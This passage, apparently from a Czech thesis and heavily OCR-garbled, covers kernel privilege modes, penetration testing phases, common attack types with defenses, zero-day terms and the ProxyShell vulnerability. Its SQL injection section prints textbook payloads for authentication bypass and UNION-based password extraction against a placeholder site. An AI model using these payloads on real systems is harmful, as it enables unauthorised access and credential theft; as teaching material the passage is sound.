procesoru opét prepnuta na uroven User a je vykonavan kéd uzivatelského procesu. [60]

CPU Instrukce provadéjici Registr urceny
prepnuti trovné opravnéni | pro Cislo
na uroven Supervisor systémového volani
x86[_64] | int 0x80 nebo syscall EAX / RAX
ARM swi / svc RO az R7
Arch64 sve X8
MIPS syscall $v0

Tabulka 3.5: Instrukce provadéjici prepnuti tirovné opravnéni v zavoslosti na ar-
chitekture procesoru. Prevzato ze zdroje [76].

3.3.3 Monoliticka architektura operacniho systému Linux

Monolit je vyraz pro velky vzprimeny blok kamene. Na obrizku 3.4 je uveden virtudlni
adresovy prostor procesu (VAS). V ném je ulozen kéd programu, ze kterého proces vznikl,
data a dalsi. VAS je vysvétlen v dalsich kapitolach. Soucasti VAS procesu je také kod jadra
nachdzejici se v ¢asti paméti oznacené jako Kernel Segment. Jadro je také soucasti procesu a
kazdy proces se tedy jevi jako kus kamene. Kédem jsou zde ve skutéenosti mysleny instrukce
vzniklé pri prekladu programu a jadra.
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vysokd adresa L
Y Prostor jadra
Se%m'entjédr:a operacniho
operacniho systému systému
Zas"bri‘ [rw] bod rozdéleni
n
L]
L]
Mapovani VAS procesu
knihoven (virtudIni adresovy Usivatelsky
Ziv
: prostor) arelsky
. prostor
[ ]
Hromada
Neinicializovana Data [rw-]
Inicializovana
Text [r-x]

Nizka adresa: 0x0

Obrazek 3.4: Virtudlni adresovy prostor procesu. Prevzato ze zdroje [76].

Koéd jadra a kéd uzivatelského procesu je provadén v ramci stejného procesu. Na obrazku
3.5 je uveden tok kédu pri volani funkce printf z uzivatelského kédu. Uzivatelsky proces
P vola funkci printf pro vypsani fetézce na monitor. Funkce printf provede systémové
volani write. V ramci systémového volani jsou naplnény registry procesoru a specializovanou
instrukeci je prepnuta troven opravnéni béhu instrukci na procesoru. V ramci procesu, ktery
volal funkci printf je vykonan kéd jadra s drovni opravnéni Supervisor. Pri provadéni kédu
jadra je nalezen ovladac¢ zarizeni, ktery jediny muze komunikovat s perifernim zafizenim.
Ovladac zafizeni provede zapis Fetézce na monitor a navratova hodnota se vraci cestou zpét
do uzivatelského kédu. Pii vykonavani uzivatelského kédu je troven opravnéni procesoru
opét nastavena na turoven User.

Uzivatelsky rezim / UZivatelsky prostor
Aplikace (procesy)

Rezim jadra / Prostor jadra:
jadro operacniho systému,
ovladace jadra, atd.

Hardware

Obrazek 3.5: Tok kédu pri volani funkce printf. Pfevzato ze zdroje [76].
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Na obréazku 3.6 je zobrazena Cast zivotniho cyklu procesu spolu s tirovnémi béhu pro-
cesoru. Na ose Y se nachazi trovné béhu a na ose X ¢as. Zank U na ose Y znamena, zZe
procesor vykonava instrukce pri trovni béhu User (uzivatelsky rezim) a znak K znamen4,
Ze procesor vykondva instrukce pii tirovni béhu Supervisor (rezim jadra).

Spusténi v uZivatelském
rezimu (neprivilegovany)

to t, t, t,
N Vv N ¢ Vv

K _|
Narozeni Systémové volani vy . Ukonceni
Spusténi v supervisor

rezimu (jadro operacniho systému)

Obrazek 3.6: Prepinani trovni opravnéni béhem zivota procesu. Prevzato ze
zdroje [76].

V kédu jadra je v ¢ase t0 vytvoren proces. Kéd pro vytvoreni procesu v ramci jadra je
provadén v rezimu jadra. Po vytvoreni procesu je provadén uzivatelsky kod v uzivatelském
rezimu. V Case t1 proces provede systémové volani a je vykonavan kod jadra v rezimu jadra.
V case t2 je dokonceno vykonavani kédu jadra a je vykonavan uzivatelsky kéd v uzivatel-
ském rezimu. V case tn dojde k dobrovolnému nebo nedobrovolnému ukonéeni procesu.
Ukonceni procesu je provedeno v ramci kédu jadra v rezimu jadra.
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Kapitola 4

Kyberneticka bezpecnost

V této Casti je predstavena kybernetickd bezpecnost, jaké problémy fesi a také dobré po-
stupy pro zajisténi ochrany pred utoky.

4.1 Co je to kyberneticka bezpecnost

Kybernetickd bezpecnost Tesi ochranu zafizeni, siti a dat pred utoky. Mezi zafizeni patii
napriklad pocitace, mobilni zarizeni nebo elektronické systémy. Ochrana je zajisténa napii-
klad prostfednictvim kryptografickych protokolt nebo bezpec¢nostniho SW. Kybernetickou
bezpecnost lze rozdélit do nékolika kategorii: [69]

o Zabezpeceni sité pred utocniky.
o Zabezpeceni aplikaci a zafizeni.
e Zajisténi integrity a soukromi dat pii jejich prenosu a ukladani.

e Zajisténi provozni bezpec¢nosti, ktera urcuje jakd prava mohou mit uzivatelé pri pri-
stupu k siti a také jak a kde je mozné ukladat nebo sdilet data.

e Urceni reakce na bezpecnostni incident, ktery mohl prerusit provoz nebo zpusobit
ztratu dat.

e Vzdélavani koncovych uzivateli ohledné spravnych bezpecnostnich postupu.

4.2 Typy hrozeb
Typy hrozeb lze rozdélit do tii kategorii: [69]

e V ramci kybernetické kriminality se itoénik nebo skupina zaméruji na ziskani financ-
niho zisku nebo na zptisobeni naruseni.

o Pri kybernetickém utoku dochézi ke shromazdovani informaci, které mé casto politické
divody.

e Cilem kyberterorismu je naruseni elektronickych systému nebo vyvolani strachu.
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4.3 Ochrana pred utoky

Mezi zpisoby ochrany pied kybernetickymi utoky lze zaradit aktualizaci SW a operac¢niho
systému, pouziti antivirového SW, pouziti silnych hesel nebo vyhybani se nezabezpecenym
verejnym sitim WiFi. [69]

4.4 Penetracéni testovani

Penetracni testovani predstavuje predem schvaleny simulovany utok provadény odbornikem
na kybernetickou bezpec¢nost oznacovany jako eticky hacker, ktery se snazi nalézt bezpec-
nostni slabinu v systému. Cilem testovani je vyhodnoceni zabezpeceni testovaného systému.

Nevyhodou penetra¢niho testu miize byt jeho cena i fakt, Zze nemusi odhalit vSechny
bezpecénostni slabiny.

Penetracni test mtze byt proveden utajené, coz znamend, Ze nikdo ze spole¢nosti nevi,
7e test probiha. Pii externim penetra¢nim testu se hacker zaméruje na web stranky a servery
spolec¢nosti a navic mu muze byt zakazan vstup do budouvy spole¢nosti. Pfi internim testu
je utok proveden z interni sité spolecnosti.

Soucasti penetra¢niho testu muze byt jak manualni, tak automatizované testovani. Pri
manualnim testu vyuzivaji odbornici své znalosti, pficemz mohou identifikovat zranitelnosti,
které by automatizované testovani neodhalilo. Automatizované testovani prinasi rychlejsi
vysledky a k jeho provedeni je zapotiebi méné odborniku. [56]

Spolecnost muze pro provedeni testu najmout jednoho nebo vice odbornikt na kyber-
netickou bezpecnost. [71]

4.4.1 Typy testti podle tirovné pristupu

Existuje nékolik typt penetracnich testi na zakladé drovné pristupu, jaky mé skupina
odborniki nebo jednotlivec k systému spolecnosti: [56]

¢ Opaque box - nejsou poskytnuty zadné informace o testovaném systému. Tuto troven
pristupu ma i hacker, ktery se pokousi o nalezeni slabiny systému.

e Semi-opaque box - jsou poskytnuty informace o kédu nebo datovych strukturach.
Pro navrh testt mohou byt vyuzity dokumenty popisujici systém, mezi které patii
napriklad architektonické diagramy systému.

e Transparent box - je poskytnut pristup binarnim soubortm, kontejnertum, zdrojovym
kédum a serverum, na kterych je testovany systém spustén.
4.4.2 Faze

Rizné organizace mohou uvadét ruzny pocet fazi, coz je zpusobeno vynachdnim dvou fazi
provadénych pred testem a po jeho ukonceni, které maji ovsem zasadni vyznam pro bez-
pecnost. V této kapitole je uvedeno vSech sedm fazi. [57]

Pre-engagement

Béhem této faze jsou stanoveny cile, ¢asovy plan a rozsah penetra¢niho testu. Je stanoven
typ provadéného testu a co bude testovano. Dale je nutny souhlas pro provedeni testu, takze
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jsou v této fazi podepisovany smlouvy, které zahrnuji napriklad pravidla pro provedeni testu
nebo cile testu.

Prizkum

V této fazi jsou shromazdovana data relevantni pro proviadéné penetracni testy. Pri aktiv-
nim pruzkumu jsou data ziskdvana z cilového systému a pfi pasivnim pruzkumu jsou data
ziskdvana z vefejné dostupnych zdroju.

Aktivni priazkum cili na sité, operacni systémy, uzivatelské éty, nazvy domén a postovni
servery.

Pasivni pruzkum cili na socidlni média, webové stranky, danové informace a dalsi vefejné
informace.

Skenovani

V této fazi jsou vyhledavany vstupni body. Vstupnim bodem muze byt otevieny port nebo
spusténa sluzba. K tomuto tcelu lze pouzit nastroj Nmap popsany v ¢asti 4.8.1. V zavislosti
na provadéném typu penetracniho testu jiz mohly byt poskytnuty informace o siti nebo
seznam [P adres. V této fazi jsou vyhodnoceny zranitelnosti. K vyhleddni zranitelnosti
je mozné vyuzit databdze zranitelnosti jako je NVD (National Vulnerability Database)
nebo provést automatické skenovani pomoci nastroji. Déle jsou zmapovana aktiva vysoké
hodnoty, mezi které patii idaje o zdkaznicich nebo zméstnancich.

Ziskani pristupu

V této fazi je proveden pokus o zneuziti zranitelnosti a ziskani pristupu do systému. K
tomuto tucelu lze pouzit nastroj Metasploit popsany v kapitole 6. V této fizi jsou dale
posouzeny dusledky a rozsah narusSeni. Dusledkem naruseni miize byt zasifrovani dat nebo
provedeni zero day tutoku popsaného v kapitole 4.6.

Udrzeni pristupu

Pro udrzeni pfistupu muze byt vyhodné ziskani prav uzivatele root, spravce zafizeni nebo
systému. Ziskani prav uzivatele root pouzitim exploitu je popsan v kapitole 7. Nasledné
mohou byt vytvorena zadni vratka do systému.

Analyza Rizik, Podavani Zprav a post-exploitation

Do této faze spada vycisténi systému, pri kterém je systém uveden do stavu pred provedenim
testu. Cistén{ miize zahrnovat odstranéni spustitelnych souborti, odstranéni uzivatelskych
actu vytvorenych pri testovani nebo zména nastaveni na puvodni hodnoty.

Dale jsou predavany zpravy, na zdkladé kterych provadi spole¢nosti kroky k zajisténi
vyssi bezpecnosti. Dilezité je, aby byly zpravy jasné a transparentni. Ve zpravach jsou
uvedeny naptiklad néasledujici informace:

e Zranitelnosti, které se podarilo zneuzit.
o Faze testu.
o Ziskané citlivé informace.

e Na jak dlouho byl ziskan piistup bez odhaleni.
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Naprava

V této fazi spole¢nost na zakladé ziskanych informaci provadi kroky potfebné k odstranéni
zranitelnosti.

4.5 Typy utokt

V této kapitole jsou uvedeny nejcastéjsi typy utokt. Tyto ttoky jsou v dnesni dobé casto
provadény organizovanymi a dobfe financovanymi skupinami. Do roku 2025 je ocekavan
dalsi nartust spojeny s kybernetickou kriminalitou a zabezpeceni pred utoky a dalsimi hroz-
bami muze pro nékteré spoleCnosti predstavovat konkurenéni vyhodu.

4.5.1 Utoky typu DoS (Denial-of-Service) a DDoS (Distributed Denial-
of-Service)

Utoénici pii provadéni ttokd typu odepfeni sluzby neboli DoS a distribuované odepfeni
sluzby neboli DDoS usiluji o znepfistupnéni sluzby, serveru nebo jiného sifového zdroje
béznym uzivateliim. Toho lze dosdhnout zahlcenim nebo zhroucenim cilového systému. Za-
timco utok typu DoS je veden z jednoho zdroje, iitok typu DDoS je veden z vice zdroju jak
je uvedeno na obrazku 4.1. [66] [37]

DoS [ =cee]

F B

Server

DDos

=

Server

Obrazek 4.1: Utok typu DoS a DDoS. Pievzato ze zdroje [66].

Uto¢nici mohou pozadovat finanéni prostiedky za zastaveni itoku nebo mize byt ttok
proveden s cilem odldkat pozornost od jiného typu utoky, ktery se utoc¢nici chystaji provést.

Zde jsou uvedeny zpusoby jak zajistit zhrouceni nebo zahlceni cile a tim zajistit znepii-
stupnéni sluzby:

e Pomoci sité pocitact zvané botnet. Tohoto principu ¢asto vyuzivaji atoky typu DDoS.
Utoénik ma nad poéitadi v botnet siti kontrolu a mize diky nim generovat znaéné
mnozstvi provozu, ktery zahlt{ cilovy systém. Pocita¢ nachézejici se v botnet siti
je oznacovan jako bot a jeho uzivatel ¢asto nevi, Zze je jeho pocita¢ soucasti této
sfté. Obranou proti tomuto Gtoku miize byt spravna konfigurace brany firewall pro
blokovani urcitého rozsahu IP adres.
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Provedenim ttoku TCP SYN flood, pfi kterém tto¢nik odesila cilovému systému po-
zadavky na pripojeni. Cilovy systém odesild odpovédi na tyto pozadavky, ale ito¢nik
neodpovi zpét. To zpisobi hromadéni téchto pozadavkt na pripojeni ve vyrovnavaci
paméti v cilovém systému. Cilovy systém se muze zhroutit pii vyprseni ¢asového
limitu pro ¢ekani na odpovéd od tto¢nika nebo se miize stat nepouzitelnym pii zapl-
néni vyrovnavaci pameéti. Obranou proti tomuto itoku muze byt spravna konfigurace
brany firewall pro blokovani prichozich SYN paket.

Provedenim teardrop utoku, pii kterém ttoc¢nik rozdéli pakety na Césti, které se vza-
jemné prekryvaji. Pfi pokusu o znovusestaveni pakett muze dojit k zhrouceni cilového
systému. Dodavatelé vydavaji zaplaty chranici systémy pred timto typem utokda.

Provedenim smurf Gtoku, pri kterém tto¢nik odesle pakety ICMP echo request s pod-
vrzenou zdrojovou IP adresou pomoci broadcast adresy na vsechna zafizeni v siti. Tato
zarizeni nasledné zahlti cilovy systém svymi odpovédmi. Zabranit tomuto ttoku lze
konfiguraci zafizeni tak, aby neodpovidala na ICMP pakety z broadcast adres.

Provedenim utoku ping of death, pri kterém ttocénik odesila cilovému systému pakety
ICMP echo request, jejichz velikost prekracuje maximalni velikost paketii protokolu
IP. Pii pokusu o znovusestaveni paketti muze dojit k zhrouceni cilového systému.
Obranou proti tomuto ttoku je brana firewall kontrolujici maximalni velikost frag-
mentovanych IP paketi.

4.5.2 Utoky typu MitM (Man-in-the-Middle)

Pri tomto typu utoku utocénik zachyti komunikaci mezi dvéma systémy, které komunikaci
vnimaji tak, jako by probihala napifimo. Pfi itoku mohou byt zikany ptihlasovaci tdaje
nebo udaje o ic¢tu a dalsi. Ekvivalentem tohoto ttoku muize byt postak, ktery pii doruc¢ovani
otevie dopis s informacemi o bankovnim ¢tu nebo jinymi citlivymi tdaji. Po otevieni si
zapiSe informace a nasledné dopis doruéi. Utok je zndzornén na obrazku 4.2. [54] [37]

@ —
£
UzZivatel Web aplikace
o
ol
? Pachatel ¢

(Man in the middle)

Obrézek 4.2: Utok typu MitM. Pfevzato ze zdroje [54].

Utok miiZe mit nasledujici pribéh:

1. Uzivatel se pripoji k dtocnikovu WiFi hotspotu, ktery neni chranén heslem.

2. Obét odesle prvni pozadavek o pfipojeni na zabezpecené web stranky. P¥i tomto poza-

davku provede tto¢nik utok HTTPS spoofing, pri kterém je odeslan falesny certifikat
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do prohlizece obéti. Digitalni otisk obsazeny v certifikdtu je ovéren prohlize¢em obéti
na zékladé seznamu duvéryhodnych web stranek. Utoénik muze néasledné desifrovat
komunikaci.

Uzivatelé by se méli vyhnout pouzivani vefejnych WiFi pro citlivé tkoly. V pripadé jejich
pouziti je nutné pouziti VPN. Doporucené je také pouziti Sifrovaného spojeni HT'TPS misto
HTTP.

4.5.3 Phishing atoky

Cilem téchto tutokiu je ziskani citlivych informaci od uzivatelu. Informace jsou nejcastéji zis-
kany prostrednictvim podvodného emailu zaslaného tto¢énikem. Mezi tyto informace patii
napiiklad hesla nebo informace o bankovnich tuc¢tech. [67]

Priklad Utoku je uveden na obrazku 4.3 a jeho prubéh je nasledujici:

1. Utoénik zasle uzivateli podvodny email.

2. Podvodny email informuje uzivatele, Ze jeho cet bude zrusen a také, ze icet uzivatele
bude zachovan v pripadé, ze prejde na web stranku, kde zada své prihlasovaci jméno
a heslo.

3. Uzivatel predje na adresu podvodné web stranky, kde zada citlivé informace.

4. Utoc¢nik nasledné vyuzije informace k prihlaseni.

Utoénik odesle
. obéti email
\~_~4

Utoénik Obét

v

Utoénik pouziva e o

fihlag p \ o o
prdl .asot:,?t_?lk Utocnik shromazduje
uwaie one prihlasovaci tdaje obéti Obét klikne na e-mail a
prlsbupu ne prejde na podvodné
“t’e, oI:/ou \e webové stranky.
stranku.

‘ Phishingové webové stranky

Legitimni webové stranky

Obrazek 4.3: Priklad phishing ttoku. Prevzato ze zdroje [67].

Podvodny email muze obsahovat pfilohu, ve které se nachazi malware. [37]

Znamy je také podvodny email s nigerijskym princem, ktery zada o zaslani mensi ¢astky
vyménou za vétsi castku, kterd bude uzivateli pozdéji zaslana. Tento typ podvodu je znamy
vice nez sto let, pricemz se puvodné jednalo a zaslani mensi ¢astky pro podplaceni vé-
zenskych dozorct, diky kterym by se nésledné podarilo vysvobodit bohatého Spanélského
vézné, ktery by na oplatku poslal vétsi ¢astku penéz.

Utok zaméFeny na konkrétni osoby se nazjva Spear phishing.

Obranou miuze byt:

46



e Otevirani ptiloh v izolovaném prostiedi.

e Prezkoumani pole Reply-to a Return-Path v hlavi¢ce emailu, zda hodnoty poli odpo-
vidaji doméné emailu.

e Proskoleni uzivateln.

4.5.4 Utoky typu Drive-by

Diky zranitelnosti web stranek je uzivatel presmérovan na Skodlivé web stranky, pricemz je
stazen malware do systému uzivatele. [37]

Obranou je udrzovani aktualnich opera¢nich systému a prohlizec¢u a navstévovani bézné
pouzivanych web stranek.

4.5.5 Utoky na hesla

Cilem téchto ttoku je ziskani hesel uzivateli. Existuji rizné zpusoby jak hesla ziskat: [37]

o Pri utoku hrubou silou jsou postupné zkousSeny vsechny kombinace hesel.

e Pii slovnikovém ttoku jsou postupné zkousSena slova uvedend v seznamu neboli slov-
niku.

¢ Pomoci softwaru zvany keylogger, ktery zaznamenava stisky klaves.

e Software s umeélou inteligenci dokaze rozpoznat stitky klaves podle zvuku pri stisku.

Pro obranu proti tomuto utoku je vyhodné zavést vicefaktorové ovérovani, které mize
kombinovat napriklad mobilni telefon, heslo a otisk prstu. [37]

4.5.6 Utoky typu Credential Stuffing

Pri tomto utoku vyuzivaji ttoénici uniklé prihlasovaci iidaje ziskané napiiklad pfi naruseni
web stranek. Pomoci técho prihlasovacich idaja se titoc¢nici pokouseji o prihlaseni do zna-
mych web stranek jako je naptiklad PayPal.com a podobné. Diky znovupouzivani hesel je
mozné, ze ¢ast z téchto pokusu bude uspésnych. Uzivatelé by proto méli pouzivat jedine¢né
heslo pro kazdy ucet. Databazi uniklych prihlasovacich idaju je také mozné prodat nebo
koupit. [37]

4.5.7 Utoky SQL Injection

Tento typ utoku vyuziva zranitelnosti web stranek, kterd umoznuje zahrnuti vstupu uziva-
tele do SQL dotazu provadéného aplikaci. Timto zpisobem muze uto¢nik ziskat, upravit
nebo odstranit data, ke kterym by za normalnich okolnosti nemél pristup. Provedenim
utoku miuze utocnik ziskat skrytda data, zménit logiku aplikace nebo muze ziskat data z
ruznych tabulek databéze. [59] [37]

Obranou proti tomuto utoku miuze byt napriklad pouziti parametrizovanych dotazi,
zavedenim bilé listiny povolenych vstupnich hodnot nebo pouzivani ulozenych databizovych
procedur.

Dale v této kapitole jsou uvedeny priklady itokt na web stranky internetového obchodu.
Pred uvedenim priklada itoku SQL Injection je nutné poznamenat, ze v ramci SQL dotazu
je Tetézec nachazejici se za znaky -- interpretovan jako komentar.

47


http://PayPal.com

Ziskani skrytych dat
Ve vypise 4.1 je uvedena URL adresa, na kterou je odeslan pozadavek pro ziskani vsSech
produkti, které spadaji do kategorie darky.
https://insecure-website.com/products?category=Gifts
Vypis 4.1: Ziskani vSech produktt z kategorie darky.
P1i prijeti pozadavku provede aplikace SQL dotaz uvedeny ve vypise 4.2. Dotaz ziska z

tabulky products jen uvolnéné produkty, které spadaji do kategorie darky. Ziskani uvolné-
nych produktu je specifikovano retézcem released = 1.

SELECT * FROM products WHERE category = ’Gifts’ AND released =1
Vypis 4.2: SQL dotaz pro ziskani vSech produktt z kategorie darky.

Utoénik mize odeslat pozadavek s URL adresou uvedenou ve vypise 4.3.

https://insecure-website.com/products?category=Gifts’--
Vypis 4.3: Ziskani vsech produkti z kategorie darky a neuvolnénych produktii.

P1i prijeti pozadavku provede aplikace SQL dotaz uvedeny ve vypise 4.4. Dotaz ziska z
tabulky products produkty, které spadaji do kategorie darky a navic neuvolnéné produkty,
protoze fetézec * AND released = 1 je bran jako komentar.

SELECT * FROM products WHERE category = ’Gifts’--’ AND released = 1

Vypis 4.4: SQL dotaz pro ziskani vsech produktii z kategorie darky a neuvolnénych pro-
dukt.

Zména logiky aplikace

Pri standardnim prihlaseni je vykonan SQL dotaz uvedeny ve vypise 4.5.

SELECT * FROM users WHERE username = ’wiener’ AND password = ’bluecheese’
Vypis 4.5: SQL dotaz pro prihlaseni.

Uzivatel je prihlasen pod uzivatelskym jménem wiener a s heslem bluecheese v pripadé,
ze dotaz vrati udaje o uzivateli.

V pripadé, Ze utocnik zada jako uzivatelské jméno Tetézec administrator’--, neni v. SQL
dotazu provedena kontrola hesla, protoze fetézec > AND password = ” je bran jako komen-
tar. Vysledny SQL dotaz po jehoz provedeni je uto¢nik prihlasen jako uzivatel administrator
je uveden ve vypise 4.6.

SELECT * FROM users WHERE username = ’administrator’--’ AND password = ’’

Vypis 4.6: SQL dotaz pro prihlaseni.

Ziskani dat z rtznych tabulek

Ziskani dat z riznych tabulek je mozné pomoci klicového slova UNION uvedeného v SQL
piikazu. Ve vypise 4.7 je uveden SQL piikaz, do kterého je vlozen uzivatelsky vstup Gifts.

SELECT name, description FROM products WHERE category = ’Gifts’
Vypis 4.7: SQL s béznou uzivatelskou hodnotou.
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Vy vypise 4.8 je uveden SQL prikaz s uzivatelskym vstupem > UNION SELECT user-
name, password FROM users--, pomoci kterého utocnik ziskd vSechna uzivatelskd jména a
hesla spolu s produkty. Jednoducha uvozovka na konci piikazu je opét interpretovana jako
komentar.

SELECT name, description FROM products WHERE category = ’’
UNION SELECT username, password FROM users--’

Vypis 4.8: SQL ptikaz pro ziskani dat z jiné tabulky.

4.5.8 Utoky XSS (Cross-Site Scripting)

Priklad tohoto typu ttoku je uveden na obrazku 4.4. Utoénik vlozi do databdze web stré-
nek payload. Payload je oznaceni pro skodlivy kéd. V tomto pripadé se jedna o skodlivy
kéd napsany v programovacim jazyce JavaScript. Pii pristupu na web stranky je uzivateli
zaslana web stranka se skodlivym kédem do prohlizece obéti. Pi pfijmu web stranky je
spustén skodlivy kéd, ktery zasle itocnikovi soubor cookie patrici uzivateli. Pomoci ziska-
ného souboru cookie je titoénik schopen provést inos relace. [37]

Webova stranka preda

Utoénik vlozi do databaze AR
o webovych stranek skodlivy — e TRl Ol?eF',Str?n,kL:'
TG, e s = kde se nachazi utocnikav

payload. Prohlizec obéti

soubory cookie. Webové stranky a* Jeet
spusti Skodlivy skript.

e Utocnik ziska soubor
cookie obéti a poté jej

@ poutzije k tnosu relace. O

p4
<
Utoénik Navstévnik webovych stranek
0 Utoénik zjisti, Ze webova stranka ° Po spusténi skriptu obét
obsahuje zranitelnosti typu script injection. odesle Gtonikovi svij soubor

cookie.

Obrazek 4.4: Priklad ttoku XSS. Prevzato ze zdroje [37].

Témto typum utoki lze predejit napriklad kontrolou uzivatelskych vstupt na Skodlivé
skripty, pouzitim automatizovanych skriptt pro vyhledavani zranitelnosti nebo provadénim
penetra¢niho testovani.

4.5.9 Malware autoky

Malware je obecné oznaceni pro jakykoliv skodlivy SW. Utoénik mize pomoci tohoto skodli-
vého SW napriklad ukrast, zasifrovat nebo vymazat uzivatelskd data nebo Spehovat ¢innost
uzivatele na pocitaci.

Po infikovani{ pocitace nemusi uzivatel zaznamenat bud zadné nebo nasledujici projevy:

o Pocita¢ je zpomaleny a prehfiva se, coz muze znamenat, Ze je zapojeny do sité botnet
a jeho prostiredky jsou vyuzivany na provedeni DDoS utoku.
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« Na obrazovce pocitace se objevuji ndhodné vyskakovaci reklami slibujici vyhru. Tato
vyskakovaci okna mohou byt spojena s dalsim skodlivym SW.

e Mize dojit ke zhrouceni pocitace.
e Miuze dojit k necekanému ubytku volného mista na disku.
e Sitova aktivita pocitace se necekané zvysila.

o Neocekavana zmeéna nastaveni prohlizece. Zménéna mohla byt domovska stranka nebo
mohly byt nainstalovany nové nastroje.

Pocita¢ muze byt infikovan skodlivym SW naptiklad pri prochdzeni web stranek, insta-
laci SW z nedivéryhodnych zdroji, stazenim infikovanych souborta nebo pokud je uzivateli
dorucen email s infikovanou prilohou, kterou uzivatel otevre.

Typy skodlivého SW
Najcastéjsi typy skodlivého SW jsou néasledujici:

e Adware slouzi pro zobrazovani reklam nejcastéji v internetovém prohlizeci. Reklamy
mohou donutit uzivatele k instalaci dalstho SW.

e Spyware umoznuje uto¢nikovi sledovat aktivitu uzivatele na pocitaci.

e Virus je pripojen k jinému programu, jehoz spusténim se replikuje a upravuje jiné
programy tim, ze k nim pripojuje svij kéd.

e Cervi jsou podobné virim ovsem s vyjimkou je ovSem to, ze ke svému Sifeni nepotie-
buje uzivatelskou akci.

o Trojsky ki se na prvni pohled zd4 byt pro uzivatele jako uziteény SW. Utoénici zis-
kaji k infikovanému pocitaci ptistup a mohou odcizit finan¢ni informace nebo mohou
nainstalovat jiny Skodlivy SW.

« Ransomware je pouzit pro zadifrovani soubori uzivatele. Utoénik nasledné mize po
uzivateli pozadovat zaplaceni vykupného vyménou za desifrovani soubort. Utoénici
mohou casto vyhrozovat zverejnénim dat a v takovém piipadé musi uzivatel nebo
organizace zaplatit vykupné i v pripadé, ze se data podaii desifrovat. Obranou muze
byt zaloha kritickych dat nebo pouziti systémi pro detekci naruseni.

e Rootkit slouzi pro ziskani administratorskych prav v napadeném systému. Tato prava
se oznacuji také jako root.

o Keylogger slouzi pro zaznemanavani stisku klaves. Timto zpusobem muze utocnik
zjistit napiiklad hesla nebo tdaje o kreditnich kartéch. [37]

e Exploit je skodlivy SW vyuzivajici chyby a zranitelnosti v systému, kterd umozni
ziskat ttocénikovi pristup do napadeného systému s cilem odcizit uzivatelska data
nebo spustit jiny skodlivy SW. Exploit muze vyuzit naptiklad zranitelnosti jadra
opera¢niho systému nebo bézné aplikace jak je uvedeno v kapitole 7. [53]
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4.5.10 Utoky typu RCE (Remote Code Execution)

Pri tspésném provedeni tutoku je na vzdédleném pocitaci uzivatele spustén skodlivy SW.
Timto zpusobem muze Gtoc¢nik ziskat nad napadenym pocitacem uzivatele plnou kontrolu.
Pri atoku muze také napriklad dojit k insalaci jiného skodlivého SW, odcizeni uzivatelskych
dat a odepfreni sluzby. Tento typ utoku je proveden v kapitole 7.4. [25]

Uto¢énik miize na vzdaleném poéitaéi spustit kodlivy SW nékolika zpisoby:

¢ Provedenim utoku SQL injection popsaného v kapitole 4.5.7.

e Pii komunikaci mtze bézné dochéazet k serializaci prenasenych dat do fetézce. Uto¢nik
muze do serializovanych dat vlozit specidlné upravena data, kterd mohou byt pri
deserializaci interpretovana jako spustitelny kod.

e Uto¢nik mize dosdhnout zapisu dat mimo hranice ptridélené paméti. Data mohou byt
spusténa aplikaci v pripadé, Ze jsou zapsdna na spravné misto pameéti.

Zmirnit tento typ ttoku je napiiklad mozné kontrolou uzivatelskych vstupt, kontrolou
spravy paméti v aplikacich nebo zavést sifové zabezpeceni detekujici pokus o vzdalené
ovladani systému.

4.6 Co je to zero day tutok

Zero day ttok vyuziva zranitelnosti v SW. Utok zero day je proveden v dobé, kdy o chybé
jesté nevi vyrobce aplikace a ma nula dni na jeji opravu, aby toku zabranil. Priklad zero
day zranitelnosti je zranitelnost nazvand Logd4j popsand v ¢asti 4.7.2. [68] Se zero day
utokem se poji dalsi pojmy jako je zero day exploit a zero day zranitelnost. Jejich vyznam
je nasledujici:
e Zero day zranitelnost je oznaceni pro zranitelnost, o které jesté vyrobce SW nevi a
neexistuje zptisob jak ji opravit.

e Zero day exploit je ozanceni pro zptsob zneuziti zero day zranitelnosti. Obecnd defi-
nice pojmu exploit je uvedena v ¢asti 4.5.9.

e Zero day utok je oznaceni pro utok, ktery ke svému tispésSnému provedeni zneuziva zero
day zranitelnosti. Utok miize mit za cil napiiklad kradez dat nebo vyfrazeni systému.

Vyznam pojmu zero day zranitelnost, exploit a utok je také shrnut v tabulce 4.1.
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Terminologie Chyba Dostupna | Objevena Zpusobena
objevena | oprava metoda jak | skoda

zranitelnost | (napfr. kradez
zneuzit dat)

Zero day Ano Ne - -

zranitelnost

Zero day exploit Ano Ne Ano -

Zero day tutok Ano Ne Ano Ano

Tabulka 4.1: Rozdil mezi zero day zranitelnosti, zero day exploitem a zero day
utokem. Prevzato ze zdroje [68].

Zivotni cyklus zero day zranitelnosti od jejiho objeveni az po opravu vyrobcem SW je
uveden na obrazku 4.5.

Zranitelnost je
objevena dodavateli
softwaru

Je vydana zaplata
dodavateli softwaru

Je objevena nova
zranitelnost

Obejvena metoda pro  Kyberneticti zloCinci
zneuZiti zranitelnosti  VyuZivaji zranitelnost
ke zptisobeni $kody.

Obrézek 4.5: Zivotni cyklus zero day zranitelnosti. Pfevzato ze zdroje [68].

4.7 Znamé zranitelnosti

V této kapitole jsou uvedeny aktualné nejcastéji zneuzivané zranitelnosti. Zranitelnosti se
mohou tykat jak SW, tak HW. V ¢asti 4.7.13 se nachazi popis zranielnosti modernich
procesorii.

U nékterych zranitelnosti je uvedeno CVSS hodnoceni, jehoz stupnice je od hodnoty 0.0
do hodnoty 10.0. Zranitelnost s hodnotou 0.1 ma velmi maly dopad na fungovani systému
a zranitelnost s hodnotou 10.0 muze zpusobit komptomitaci serveri a je nutné co nejdrive
pouzit zéplatu. [58]

4.7.1 CVE-2021-34473 (ProxyShell)

Tato zranitelnost je ve skutecnosti slozena ze tii dil¢ich zranitelnosti servertt Microsoft
Exchange, kterymi jsou CVE-2021-34473, CVE-2021-34523 a CVE-2021-31207. Uto¢nici
mohou pri zneuziti zranitelnosti spustit vzdaleny kod a nasadit malware jako je napriklad
LockFile, Babuk a Squirrelwaffle. Diky snadnému zneuziti zranitelnosti doslo k provedeni
mnoha Gtokum cilenym na mala letisté, autoservisy a podobné.

Pri odstranovani zranitelnosti je nutné provést zaplatu lokalnich servertu Microsoft Ex-
change. Ke zneuziti zranitelnosti jiz mohlo dojit a je tedy nutné provést kontrolu zabezpeceni
sité a provést kontrolu, zda se v systému vyskytuje malware. [33]
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Zranitelnymi verzemi jsou Microsoft Exchange Server 2013 Cumulative Update 23, 2016
Cumulative Update 19, 2016 Cumulative Update 20, 2019 Cumulative Update 8 a 2019
Cumulative Update 9.

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 9.8. [13]

4.7.2 CVE-2021-44228 (Log4j nebo Log4Shell)

